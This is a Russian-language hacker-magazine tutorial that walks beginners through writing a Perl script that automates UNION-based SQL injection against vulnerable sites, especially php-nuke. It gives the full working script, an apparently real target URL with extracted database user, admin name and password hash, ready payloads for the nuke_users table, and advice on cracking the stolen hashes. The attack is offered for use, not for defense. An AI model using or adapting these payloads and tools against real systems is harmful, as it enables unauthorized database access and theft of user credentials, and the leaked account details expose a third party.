[ Подарок новичку ]

Примечание: данные примеры расчитаны большей частью на работу с php-nuke.

Привет тебе начинающий хэкер, ты наверно несколько ночей сидел и пробовал 
провести Sql Injection на каком нить бажном сайте, но у тебя нечего не 
получалось 
Сегодня мы с тобой совместим sql injection с кодингом на языке Perl, а 
имено напишем небольшой скрипт который будет делать за нас грязную работу, 
т.е подбирать столбцы, вытаскивать имя пользователя базы данных и т.д. Что 
нам нужно для начала ну это конечно основы аттаки sql injection и умение 
кодить на Perl и работать с библиотекой LWP. Если ты даже вообще не знаешь 
что такое perl, то я надеюсь что ты увидешь какой он легкий и как на нем 
быстро можно создавать скрипты или программы и наконец возьмешь его в свой 
арсенал. В этой статье я покажу самою малость на что способна библиотека 
LWP и конечно для тебя в этом журнале будет ждать полностью переведенная 
на русский язык документация по LWP, так что сять по удобней и приготовся, 
начинаем :)

Начну с небольшой истории, как то вечером я, Rat и Piton нашли багу в 
нете на ней была бональная sql injection, поюзав питон вытащил имя и хеш 
админа, оставалось тока сбрутить и все, тут меня постигла идея написать 
скрипт для более удобной работы со стандарными sql - запросами и так я 
воплотил эту идею и решил поделится ею стобой, как не крути а для начинающего 
это будет полезно. И так суть скрипта выполнить запросы для получения 
версии мускула, имени пользователя бд(базы данных) и имя самой бд. Начнем 
кодить на Perl`е для этого надо что бы у тебя был на компе Active Perl. 
И так тело скрипта:

#!/usr/bin/perl

use LWP::Simple;                                     #Подключаю LWP
print "Enter Name Site:";                            #Вывод сообщения о просьбе ввести адрес сайта
$site = <STDIN>;                                     #Ввод с клавиатуры 
print "Enter Columns:";                              #Вывод сообщения о просьбе ввести номер столбца
$number = <STDIN>;                                   #Ввод с клавиатуры
$Column = "'+union+select+$number/*";                #Запрос sql для выполнения к $number будет присвоено значение которое мы введем с клавиатуры
$usermysql = "'+union+select+user()/*";              #Запрос sql для выполнения и получения имени пользователя БД
$database = "'+union+select+database()/*";           #Запрос sql для выполнения и получения имени БД
$version = "'+union+select+version()/*";             #Запрос sql для выполнения и получения версии мускула
$username = "'+union+select+username+from+user/*";   #Запрос sql для выполнения и получении имени из таблици "user" 
$password = "'+union+select+password+from+user/*";   #Запрос sql для выполнения и получении пароля из таблици "user"

#Начинаем выполнять запросы

$Column = get "$site $Column"; 			     #К переменой $site будет присвоено имя сайта которое мы введем, а $column запрос который мы присвоили переменой
$usermysql = get "$site $usermysql"; 		     #То же самое тока на этот раз с выполняем другой запрос, дальше в том же духе
$database = get "$site $database";
$version = get "$site $version";
$username = get "$site $username";
$password = get "$site $password";

#Выводим данные на экран

if($Column) {                                        #Используем оператор if 
               print "Columns : $Column\n";          #Если столбец подобран вывод на экран
} else {                                             #А если нет то
              print "Columns not Select\n";          #Вывод сообщения о том что столбец не подобран
}                                                    #Закрываем работу оператора
print "Usermysql name : $usermysql\n";       	     #Вывод имени пользователя БД
print "Databases name : $database\n";         	     #Вывод имени БД
print "Mysql Version : $version\n";                  #Вывод версии мускула
print "Admin : $username\n";                         #Вывод имени администратора
print "Hash : $password\n";                          #Вывод хеша администратора

Сохраним файл под именим test.pl, любой скрипт на перле надо сохранять 
с расширением pl. если только это не cgi скрипт.
Наш скрипт готов к работе, теперь сайт который с ошибкой 
http://www.tusovoditel.de/kit/picture.php?pid=1, наш скрипт будет 
работать если указать ему полный url где выскакивает sql injection, 
заметь что одинарной ковычки не надо ставить когда будешь писать адрес 
в скрипте, одинарная ковычка есть, она встроена к нашим переменым :) И 
так настало время испытать скрипт запускаем вводим имя сайта, затем номер 
столбца. Скрипт выдаст:

Enter Name Site:http://www.tusovoditel.de/kit/picture.php?pid=1
Enter Columns:2
Columns : 2
Usermysql name : h_tuso@localhost
Databases name : h_tuso-db1
Mysql Version : 4.1.12-standard
Admin : special
Hash : 9c27dfdc579a7b7c7ef566f79212eb74d58f7949

Вот так вот одним махом убили 5-ых зайцев. Работа скрипта проста, 
послать данные и получить ответ, на этом сайте была стандартная таблица 
"user" поля конечно username и password так что мы без труда получили  
то что хотели. А как подбирать имена таблиц спросишь ты меня? Посоветую 
почитать сатьи о Sql Injection там ты все поймешь. А вот если мы работаем 
с движком php-nuke, тут я тебе намекну что имя таблици где лежат акки и 
пароли называется так "nuke_users" следовательно если мы нашли баг на 
каком нить сайте с движком php nuke наша переменая выглядела бы так:

$nuke = "'+union+select+username+from+nuke_users/*";
$nuke = "'+union+select+user_password+from+nuke_users/*";

Вот тебе содержимое всех полей таблицы "nuke_users" стратегические важные для тебя я выделил крупным шрифтом:
_____________________________________________________________________________________
 =user_id   	  	 username  	       user_email  	user_website  	   =
 =user_avatar  	         user_regdate  	       user_icq  	user_occ  	   =
 =user_from  	         user_interests        user_sig         user_viewemail     =
 =user_theme  	         user_aim  	       user_yim  	user_msnm  	   =
 =user_password  	 storynum  	       umode  	 	uorder  	   =
 =thold  		 noscore  	       bio  		ublockon  	   =
 =ublock  	         theme  	       commentmax  	counter            =
 =newsletter  	         user_posts  	       user_attachsig   user_rank  	   =
 =user_level  	         broadcast  	       popmeson  	user_active  	   =
 =user_session_time      user_session_page     user_lastvisit  	user_timezone      =
 =user_style  	         user_lang  	       user_dateformat  user_new_privmsg   =
 =user_unread_privmsg    user_last_privmsg     user_emailtime  	user_allowhtml     =
 =user_allowbbcode  	 user_allowsmile       user_allowavatar user_allow_pm      =
 =user_allow_viewonline  user_notify  	       user_notify_pm  	user_popup_pm      =
 =user_avatar_type  	 user_sig_bbcode_uid   user_actkey  	user_newpasswd     =
 =points  		 last_ip  		          	karma              =
_____________________________________________________________________________________

Конечно хочется слега улучшить скрипт что бы не писать полный адрес к 
ссылке с ошибкой, скажем так к примеру мы нашли на baqtrack`е уязвимость 
sql injection там написано что в движке php-nuke версии скажем 8 в скрипте 
mainfile.php есть баг который позволяет выполнить sql команды на сервер. 
Мы конечно не обламываемся и пишем скрипт для реализации этой уязвимости :) 
К примеру сайт  "www.nuke.ru/mainfile.php?code_id=1" если поставим кавычку 
то увидим sql injection, отлично теперь мы знаем что нам делать, даем 
переменым такой запрос:

$nukeid = "/mainfile.php?code_id=1'+union+select+user_id+from+nuke_users/*";          #Получить id пользователя
$nukename = "/mainfile.php?code_id=1'+union+select+username+from+nuke_users/*;        #Получить имя 
$nukepass = "/mainfile.php?code_id=1'+union+select+user_password+from+nuke_users/*";  #Получить хеш

www.nuke.ru - Это сайт я к примеру привел на нем нет данной ошибки (для тех кто в танке) :)
И так нашим переменым мы дали более удобный запрос для выполнения скрипта, 
теперь нам надо ввести имя сайта www.nuke.ru и все остальное сделает 
скрипт, если все пройдет хорошо мы увидим желаемые результаты. Думаю я 
показал на сколько хорош perl в руках хакера, если тебе он понравился то 
читай документацию по нему, познавай так сказать хороший инструмент для 
быстрого написания либого рода скрипта. 
После того как вы срубите хеш, сбрутить вы можите программками MD5Inside, 
PasswordPro, или воспользоваться сервисами в интернете для брута паролей!
Ну вот и все с вами был Outlaw с наступающим всех.

P.S. Документация по LWP лежит в инклудах.

(с) Outlaw